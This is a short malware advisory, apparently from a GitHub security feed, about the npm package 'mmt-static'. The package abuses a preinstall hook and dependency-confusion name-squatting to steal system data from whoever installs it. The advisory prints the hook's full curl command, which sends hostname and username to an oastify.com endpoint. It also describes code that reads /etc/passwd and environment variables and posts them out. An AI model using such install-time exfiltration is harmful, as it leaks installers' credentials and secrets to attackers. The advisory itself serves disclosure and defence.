mmt-static

On `npm install`, the package's preinstall lifecycle hook executes `node index.js && curl --data-urlencode "info=$(hostname && whoami)" http://8irluql1d21jmq8tr5n5fyoxjopfdd12.oastify.com/nasa/mmt-static`. index.js reads `/etc/passwd`, collects `os.hostname()`, `os.platform()`, `os.userInfo().username`, current working directory, and the first 30 entries of `process.env`, then POSTs the JSON payload to `https://3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com/nasa/mmt-static/<id>`. The package additionally exhibits dependency-confusion shape: its description claims to be an AWS internal CDK package (`cdk-sagemaker-notebook-workflow`) and the README contains `Takeover By l0bo`, indicating an intentional name-squat against an AWS-internal namespace. Installing this package leaks the installer's hostname, username, local user database, working directory, and environment variables (which commonly contain CI/CD secrets, cloud credentials, and tokens) to attacker-controlled Burp Collaborator (oastify.com) endpoints. ## Source: ghsa-malware (8459650553ee494191b0a2f03104e537518003f05ab481da8256157746c79c33) Any computer that has this package installed or running should be considered fully compromised.
